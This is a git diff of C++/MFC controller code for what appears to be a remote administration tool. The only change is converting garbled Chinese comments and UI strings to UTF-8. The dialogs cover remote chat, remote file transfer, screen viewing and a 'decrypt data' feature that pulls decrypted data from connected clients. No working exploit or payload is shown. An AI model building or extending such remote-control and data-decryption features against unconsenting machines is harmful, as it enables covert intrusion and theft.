* @brief 位图转AVI
************************************************************************/
class CBmpToAvi
{
@@ -30,13 +30,13 @@ public:
{
switch (result) {
case ERR_INVALID_PARAM:
return ("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
return ("无效参数");
case ERR_NOT_SUPPORT:
return ("<EFBFBD><EFBFBD>֧<EFBFBD>ֵ<EFBFBD>λ<EFBFBD><EFBFBD><EFBFBD>ȣ<EFBFBD><EFBFBD><EFBFBD>Ҫ24λ<EFBFBD><EFBFBD>32λ");
return ("不支持的位深度需要24位或32");
case ERR_NO_ENCODER:
return ("δ<EFBFBD><EFBFBD>װx264<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> \n<EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>ַ<EFBFBD><EFBFBD>https://sourceforge.net/projects/x264vfw");
return ("未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw");
case ERR_INTERNAL:
return("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>AVI<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>");
return("创建AVI文件失败");
default:
return "succeed";
}
@@ -46,7 +46,7 @@ private:
PAVIFILE m_pfile;
PAVISTREAM m_pavi;
int m_nFrames;
static AVISTREAMINFO m_si; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Ǿ<EFBFBD>̬<EFBFBD><EFBFBD>
static AVISTREAMINFO m_si; // 这个参数需要是静态的
int m_bitCount = 24;
int m_width = 1920;

View File

@@ -1,4 +1,4 @@
#include "stdafx.h"
#include "stdafx.h"
#include "afxdialogex.h"
#include "CGridDialog.h"
#include "Resource.h"
@@ -38,7 +38,7 @@ BOOL CGridDialog::AddChild(CDialog* pDlg)
pDlg->SetParent(this);
pDlg->ShowWindow(SW_SHOW);
// ȥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
// 去掉标题栏和调整大小
LONG style = ::GetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE);
style &= ~(WS_CAPTION | WS_THICKFRAME | WS_SIZEBOX | WS_BORDER);
::SetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE, style);
@@ -57,12 +57,12 @@ void CGridDialog::RemoveChild(CDialog* pDlg)
(*it)->SetParent(nullptr);
m_children.erase(it);
// ɾ<EFBFBD><EFBFBD> m_origState <EFBFBD>ж<EFBFBD>Ӧ<EFBFBD><EFBFBD>Ŀ
// 删除 m_origState 中对应条目
auto itState = m_origState.find(pDlg);
if (itState != m_origState.end())
m_origState.erase(itState);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>رյ<EFBFBD><EFBFBD>Ӵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>󻯴<EFBFBD><EFBFBD>ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_pMaxChild
// 如果关闭的子窗口是当前最大化窗口,重置 m_pMaxChild
if (m_pMaxChild == pDlg)
m_pMaxChild = nullptr;
@@ -80,7 +80,7 @@ LRESULT CGridDialog::OnChildClosed(WPARAM wParam, LPARAM lParam)
void CGridDialog::LayoutChildren()
{
if (m_children.size() == 0) {
// <EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 恢复父窗口标题栏
if (m_parentStyle != 0) {
::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
@@ -105,7 +105,7 @@ void CGridDialog::LayoutChildren()
int c = (int)i % m_cols;
if (r >= m_rows)
break; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ
break; // 超过网格范围
int x = c * w;
int y = r * h;
@@ -122,7 +122,7 @@ void CGridDialog::OnSize(UINT nType, int cx, int cy)
if (m_pMaxChild == nullptr) {
LayoutChildren();
} else {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD>£<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// 最大化状态下,保持铺满父对话框
CRect rcClient;
GetClientRect(&rcClient);
m_pMaxChild->MoveWindow(rcClient, TRUE);
@@ -131,9 +131,9 @@ void CGridDialog::OnSize(UINT nType, int cx, int cy)
void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
{
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>󻯵<EFBFBD><EFBFBD>Ӵ<EFBFBD><EFBFBD>ڣ<EFBFBD>˫<EFBFBD><EFBFBD><EFBFBD>κεط<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD>
// 如果当前有最大化的子窗口,双击任何地方都恢复
if (m_pMaxChild != nullptr) {
// <EFBFBD>ָ<EFBFBD><EFBFBD>Ӵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD>λ<EFBFBD><EFBFBD>
// 恢复子窗口样式和位置
for (auto& kv : m_origState) {
CDialog* dlg = kv.first;
const ChildState& state = kv.second;
@@ -146,7 +146,7 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
dlg->ShowWindow(SW_SHOW);
}
// <EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 恢复父窗口标题栏
if (m_parentStyle != 0) {
::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
@@ -154,21 +154,21 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
m_parentStyle = 0;
}
// ˢ<EFBFBD>¸<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 刷新父窗口
m_pMaxChild = nullptr;
m_origState.clear();
LayoutChildren();
return; // <EFBFBD>Ѵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
return; // 已处理,返回
}
// û<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><EFBFBD>ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD>߼<EFBFBD><EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><EFBFBD>ڽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 没有最大化子窗口,则按原逻辑找到点击的子窗口进行最大化
for (auto dlg : m_children) {
CRect rc;
dlg->GetWindowRect(&rc);
ScreenToClient(&rc);
if (rc.PtInRect(point)) {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><EFBFBD><EFBFBD>ԭʼ״̬
// 保存所有子窗口原始状态
m_origState.clear();
for (auto d : m_children) {
ChildState state;
@@ -178,14 +178,14 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
m_origState[d] = state;
}
// <EFBFBD><EFBFBD><EFBFBD>󻯵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><EFBFBD><EFBFBD>
// 最大化点击的子窗口
LONG style = m_origState[dlg].style;
style |= (WS_CAPTION | WS_THICKFRAME | WS_SYSMENU | WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, style);
::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
// <EFBFBD><EFBFBD><EFBFBD>ظ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 隐藏父窗口标题栏
if (m_parentStyle == 0)
m_parentStyle = ::GetWindowLong(m_hWnd, GWL_STYLE);
LONG parentStyle = m_parentStyle & ~(WS_CAPTION | WS_THICKFRAME);
@@ -193,13 +193,13 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
// ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD>Ӵ<EFBFBD><EFBFBD><EFBFBD>
// 全屏显示子窗口
CRect rcClient;
GetClientRect(&rcClient);
dlg->MoveWindow(rcClient, TRUE);
m_pMaxChild = dlg;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><EFBFBD><EFBFBD>
// 隐藏其他子窗口
for (auto d : m_children)
if (d != dlg) d->ShowWindow(SW_HIDE);
@@ -213,7 +213,7 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
BOOL CGridDialog::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) {
return TRUE;// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Enter<EFBFBD><EFBFBD>ESC<EFBFBD>رնԻ<EFBFBD>
return TRUE;// 屏蔽EnterESC关闭对话
}
return CDialog::PreTranslateMessage(pMsg);
}

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include <vector>
#include <map>
#include <afxwin.h>
@@ -10,10 +10,10 @@ class CGridDialog : public CDialog
public:
CGridDialog();
BOOL AddChild(CDialog* pDlg); // <EFBFBD><EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶԻ<EFBFBD><EFBFBD><EFBFBD>
void RemoveChild(CDialog* pDlg); // <EFBFBD><EFBFBD>̬<EFBFBD>Ƴ<EFBFBD><EFBFBD>ӶԻ<EFBFBD><EFBFBD><EFBFBD>
void SetGrid(int rows, int cols); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void LayoutChildren(); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL AddChild(CDialog* pDlg); // 动态添加子对话框
void RemoveChild(CDialog* pDlg); // 动态移除子对话框
void SetGrid(int rows, int cols); // 设置行列数
void LayoutChildren(); // 布局
BOOL HasSlot() const
{
return m_children.size() < m_max;
@@ -35,13 +35,13 @@ private:
int m_max = 0;
std::vector<CDialog*> m_children;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CDialog* m_pMaxChild = nullptr; // <EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>󻯵<EFBFBD><EFBFBD>ӶԻ<EFBFBD><EFBFBD><EFBFBD>
LONG m_parentStyle = 0; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭʼ<EFBFBD><EFBFBD>ʽ
// 最大化相关
CDialog* m_pMaxChild = nullptr; // 当前最大化的子对话框
LONG m_parentStyle = 0; // 父窗口原始样式
struct ChildState {
CRect rect; // ԭʼλ<EFBFBD><EFBFBD>
LONG style; // ԭʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
CRect rect; // 原始位置
LONG style; // 原始窗口样式
};
std::map<CDialog*, ChildState> m_origState;
};

View File

@@ -1,4 +1,4 @@
// CTextDlg.cpp: ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// CTextDlg.cpp: 实现文件
//
#include "stdafx.h"
@@ -10,7 +10,7 @@
#define new DEBUG_NEW
#endif
// CTextDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CTextDlg 对话框
IMPLEMENT_DYNAMIC(CTextDlg, CDialog)
@@ -41,7 +41,7 @@ BEGIN_MESSAGE_MAP(CTextDlg, CDialog)
END_MESSAGE_MAP()
// CTextDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CTextDlg 消息处理程序
void CTextDlg::OnBnClickedOk()

View File

@@ -1,25 +1,25 @@
#pragma once
#pragma once
// CTextDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CTextDlg 对话框
class CTextDlg : public CDialog
{
DECLARE_DYNAMIC(CTextDlg)
public:
CTextDlg(CWnd* pParent = nullptr); // <EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CTextDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CTextDlg();
CString oldstr;
CString nowstr;
CString cmeline;
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_TEXT };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

View File

@@ -1,4 +1,4 @@
// Chat.cpp : implementation file
// Chat.cpp : implementation file
//
#include "stdafx.h"
@@ -47,9 +47,9 @@ BOOL CChat::OnInitDialog()
CDialog::OnInitDialog();
CString str;
str.Format(_T("Զ<EFBFBD>̽<EFBFBD≯ - %s"), m_ContextObject->PeerName.c_str()),
str.Format(_T("远程交谈 - %s"), m_ContextObject->PeerName.c_str()),
SetWindowText(str);
m_editTip.SetWindowText(_T("<EFBFBD><EFBFBD>ʾ: <20>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD>Żᵯ<C5BB><E1B5AF>"));
m_editTip.SetWindowText(_T("提示: 对方聊天对话框在发送消息后才会弹出"));
m_editNewMsg.SetLimitText(4079);
// TODO: Add extra initialization here
BYTE bToken = COMMAND_NEXT_CHAT;
@@ -72,7 +72,7 @@ void CChat::OnReceiveComplete()
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("<EFBFBD>Է<EFBFBD>:"),
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("对方:"),
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, strResult);
if (m_editChatLog.GetWindowTextLength() >= 20000)
m_editChatLog.SetWindowText(_T(""));
@@ -86,14 +86,14 @@ void CChat::OnButtonSend()
GetDlgItemText(IDC_EDIT_NEWMSG, str, sizeof(str));
if (_tcscmp(str, _T("")) == 0) {
m_editNewMsg.SetFocus();
return; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢΪ<EFBFBD>ղ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
return; // 发送消息为空不处理
}
m_editTip.ShowWindow(SW_HIDE);
m_ContextObject->Send2Client((LPBYTE)str, lstrlen(str) + sizeof(char));
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("<EFBFBD>Լ<EFBFBD>:"),
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("自己:"),
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
if (m_editChatLog.GetWindowTextLength() >= 20000)
m_editChatLog.SetWindowText(_T(""));
@@ -111,7 +111,7 @@ void CChat::OnButtonEnd()
void CChat::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
@@ -124,16 +124,16 @@ HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
if (pWnd->GetDlgCtrlID() == IDC_EDIT_CHATLOG && nCtlColor == CTLCOLOR_STATIC) {
COLORREF clr = RGB(0, 0, 0);
pDC->SetTextColor(clr); // <EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD>ɫ<EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>
pDC->SetTextColor(clr); // 设置黑色的文本
clr = RGB(255, 255, 255);
pDC->SetBkColor(clr); // <EFBFBD><EFBFBD><EFBFBD>ð<EFBFBD>ɫ<EFBFBD>ı<EFBFBD><EFBFBD><EFBFBD>
return CreateSolidBrush(clr); // <EFBFBD><EFBFBD>ΪԼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><EFBFBD>Ӧ<EFBFBD><EFBFBD>ˢ<EFBFBD>Ӿ<EFBFBD><EFBFBD><EFBFBD>
pDC->SetBkColor(clr); // 设置白色的背景
return CreateSolidBrush(clr); // 作为约定,返回背景色对应的刷子句柄
} else if (pWnd == &m_editTip && nCtlColor == CTLCOLOR_EDIT) {
COLORREF clr = RGB(255, 0, 0);
pDC->SetTextColor(clr); // <EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD>ɫ<EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>
pDC->SetTextColor(clr); // 设置红色的文本
clr = RGB(220, 220, 0);
pDC->SetBkColor(clr); // <EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>ɫ<EFBFBD>ı<EFBFBD><EFBFBD><EFBFBD>
return CreateSolidBrush(clr); // <EFBFBD><EFBFBD>ΪԼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><EFBFBD>Ӧ<EFBFBD><EFBFBD>ˢ<EFBFBD>Ӿ<EFBFBD><EFBFBD><EFBFBD>
pDC->SetBkColor(clr); // 设置黄色的背景
return CreateSolidBrush(clr); // 作为约定,返回背景色对应的刷子句柄
} else {
return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
}

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "stdafx.h"

View File

@@ -1,4 +1,4 @@
#include "stdafx.h"
#include "stdafx.h"
#include "DecryptDlg.h"
@@ -32,7 +32,7 @@ BEGIN_MESSAGE_MAP(DecryptDlg, CDialog)
END_MESSAGE_MAP()
// DecryptDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// DecryptDlg 消息处理程序
BOOL DecryptDlg::OnInitDialog()
@@ -41,12 +41,12 @@ BOOL DecryptDlg::OnInitDialog()
SetIcon(m_hIcon, FALSE);
CString str;
str.Format("%s - <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
str.Format("%s - 解密数据", m_IPAddress);
SetWindowText(str);
BYTE bToken = COMMAND_NEXT;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
m_EditDecrypedResult.SetWindowTextA(CString("<<< <EFBFBD><EFBFBD>ʾ: <20><><EFBFBD>ڲ˵<DAB2>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> >>>\r\n"));
m_EditDecrypedResult.SetWindowTextA(CString("<<< 提示: 请在菜单选择解密类型 >>>\r\n"));
int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA();
m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel);
m_EditDecrypedResult.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel);
@@ -67,7 +67,7 @@ VOID DecryptDlg::OnReceiveComplete()
void DecryptDlg::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
@@ -79,7 +79,7 @@ void DecryptDlg::OnSize(UINT nType, int cx, int cy)
{
CDialogBase::OnSize(nType, cx, cy);
if (m_EditDecrypedResult.GetSafeHwnd()) {
m_EditDecrypedResult.MoveWindow(0, 0, cx, cy); // ռ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
m_EditDecrypedResult.MoveWindow(0, 0, cx, cy); // 占满整个对话框
}
}

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "IOCPServer.h"
#include "Resource.h"
@@ -13,11 +13,11 @@ public:
VOID OnReceiveComplete();
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_DECRYPT };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

View File

@@ -1,4 +1,4 @@
// EditDialog.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// EditDialog.cpp : 实现文件
//
#include "stdafx.h"
@@ -7,7 +7,7 @@
#include "afxdialogex.h"
// CEditDialog <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CEditDialog 对话框
IMPLEMENT_DYNAMIC(CEditDialog, CDialog)
@@ -34,17 +34,17 @@ BEGIN_MESSAGE_MAP(CEditDialog, CDialog)
END_MESSAGE_MAP()
// CEditDialog <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CEditDialog 消息处理程序
void CEditDialog::OnBnClickedOk()
{
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
UpdateData(TRUE);
if (m_EditString.IsEmpty()) {
MessageBeep(0);
return; //<EFBFBD><EFBFBD><EFBFBD>رնԻ<EFBFBD><EFBFBD><EFBFBD>
return; //不关闭对话框
}
CDialog::OnOK();
}

View File

@@ -1,21 +1,21 @@
#pragma once
#pragma once
// CEditDialog <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CEditDialog 对话框
class CEditDialog : public CDialog
{
DECLARE_DYNAMIC(CEditDialog)
public:
CEditDialog(CWnd* pParent = NULL); // <EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CEditDialog(CWnd* pParent = NULL); // 标准构造函数
virtual ~CEditDialog();
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_NEWFOLDER };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

File diff suppressed because it is too large Load Diff

View File

@@ -1,4 +1,4 @@
#if !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)
#if !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)
#define AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_
#include "TrueColorToolBar.h" // Added by ClassView
#if _MSC_VER > 1000
@@ -27,7 +27,7 @@ typedef struct {
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
#define MAX_WRITE_RETRY 15 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define MAX_WRITE_RETRY 15 // 重试写入文件次数
#define WM_MY_MESSAGE (WM_USER+300)
@@ -41,7 +41,7 @@ typedef CList<CString, CString&> strList;
class CFileManagerDlg : public DialogBase
{
protected:
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
// 更新状态栏信息
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam)
{
char *buff = (char*)lParam;
@@ -63,9 +63,9 @@ public:
void SendException();
void EndLocalRecvFile();
void EndRemoteDeleteFile();
CString m_strOperatingFile; // <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
__int64 m_nOperatingFileLength; // <EFBFBD>ļ<EFBFBD><EFBFBD>ܴ<EFBFBD>С
__int64 m_nCounter;// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CString m_strOperatingFile; // 文件名
__int64 m_nOperatingFileLength; // 文件总大小
__int64 m_nCounter;// 计数器
void WriteLocalRecvFile();
void CreateLocalRecvFile();
BOOL SendDownloadJob();
@@ -84,7 +84,7 @@ public:
CString GetParentDirectory(CString strPath);
void OnReceiveComplete();
int m_nNewIconBaseIndex; // <EFBFBD>¼ӵ<EFBFBD>ICON
int m_nNewIconBaseIndex; // 新加的ICON
CProgressCtrl* m_ProgressCtrl;
HCURSOR m_hCursor;
@@ -195,7 +195,7 @@ protected:
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
private:
bool m_bIsUpload; // <EFBFBD>Ƿ<EFBFBD><EFBFBD>ǰѱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD><EFBFBD><EFBFBD>־<EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
void SendTransferMode();
void SendFileData();

View File

@@ -1,4 +1,4 @@
// FileTransferModeDlg.cpp : implementation file
// FileTransferModeDlg.cpp : implementation file
//
#include "stdafx.h"
@@ -55,7 +55,7 @@ BOOL CFileTransferModeDlg::OnInitDialog()
// TODO: Add extra initialization here
CString str;
str.Format("<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѱ<EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD>%s<><73><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>", m_strFileName);
str.Format("此文件夹已包含一个名为“%s”的文件", m_strFileName);
for (int i = 0; i < str.GetLength(); i += 120) {
str.Insert(i, "\n");

View File

@@ -1,4 +1,4 @@
#if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)
#if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)
#define AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_
#if _MSC_VER > 1000

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "stdafx.h"
#include "../client/CursorInfo.h"
#include "../common/jpeglib.h"
@@ -83,8 +83,8 @@ protected:
BYTE m_bCursorIndex;
CString m_strTip;
clock_t m_lastMouseMove; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>ʱ<EFBFBD><EFBFBD>
